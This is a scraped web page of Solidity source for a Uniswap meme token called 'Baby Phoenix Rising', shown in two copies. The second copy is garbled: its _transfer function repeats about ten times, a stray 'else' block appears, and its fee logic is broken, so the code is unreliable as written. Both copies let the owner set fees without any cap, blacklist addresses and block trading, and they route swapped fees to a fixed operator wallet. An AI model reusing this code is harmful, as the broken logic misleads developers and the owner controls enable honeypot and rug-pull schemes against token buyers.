_redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => bool) public preTrader; mapping(address => uint256) private cooldown; address payable private _opAddress = payable(0x56baA03e9b88A8143f24c430753417A9bA7e3DC6); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 2000000000000 * 10**9; //2 uint256 public _maxWalletSize = 4000000000000 * 10**9; //4 uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //0.1 event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; // Uniswap V2 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_opAddress] = true; preTrader[owner()] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _opAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _opAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _opAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function allowPreTrading(address account, bool allowed) public onlyOwner { require(preTrader[account] != allowed, "TOKEN: Already enabled."); preTrader[account] = allowed; } }
Buy FeeSell FeeOriginal Fee
contract BabyPhoenixRising is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Baby Phoenix Rising"; string private constant _symbol = "BABYPHNIX"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 6; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 9; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => bool) public preTrader; mapping(address => uint256) private cooldown; address payable private _opAddress = payable(0x56baA03e9b88A8143f24c430753417A9bA7e3DC6); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_opAddress] = true; preTrader[owner()] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } } else { function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _opAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _opAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _opAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function allowPreTrading(address account, bool allowed) public onlyOwner { require(preTrader[account] != allowed, "TOKEN: Already enabled."); preTrader[account] = allowed; } }
14,506,432
